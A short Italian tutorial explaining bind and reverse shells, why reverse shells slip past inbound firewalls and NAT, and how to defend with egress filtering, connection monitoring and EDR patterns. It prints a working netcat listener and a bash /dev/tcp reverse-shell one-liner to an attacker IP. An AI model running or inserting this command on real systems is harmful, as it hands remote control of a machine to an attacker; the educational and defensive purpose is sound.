Reverse shell: far chiamare casa al bersaglio
Dopo l'esecuzione di codice serve un canale interattivo. Due modelli: la bind shell apre una porta sul bersaglio e aspetta; la reverse shell è il bersaglio che si connette all'attaccante.
Perché reverse
I firewall bloccano le connessioni in ingresso ma spesso permettono quelle in uscita, e il NAT nasconde il bersaglio. La reverse shell sfrutta l'uscita:
# attaccante in ascolto
nc -lvnp 4444
# bersaglio
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1Una shell grezza è limitata; si stabilizza (PTY con python/socat) per avere history, tab, Ctrl-C.
Difesa
Filtraggio del traffico in uscita (egress filtering), non solo in ingresso: la maggior parte delle reti lo trascura. Monitoraggio di connessioni anomale verso IP esterni, EDR sui pattern di shell (/dev/tcp, nc, interpreti che aprono socket), segmentazione.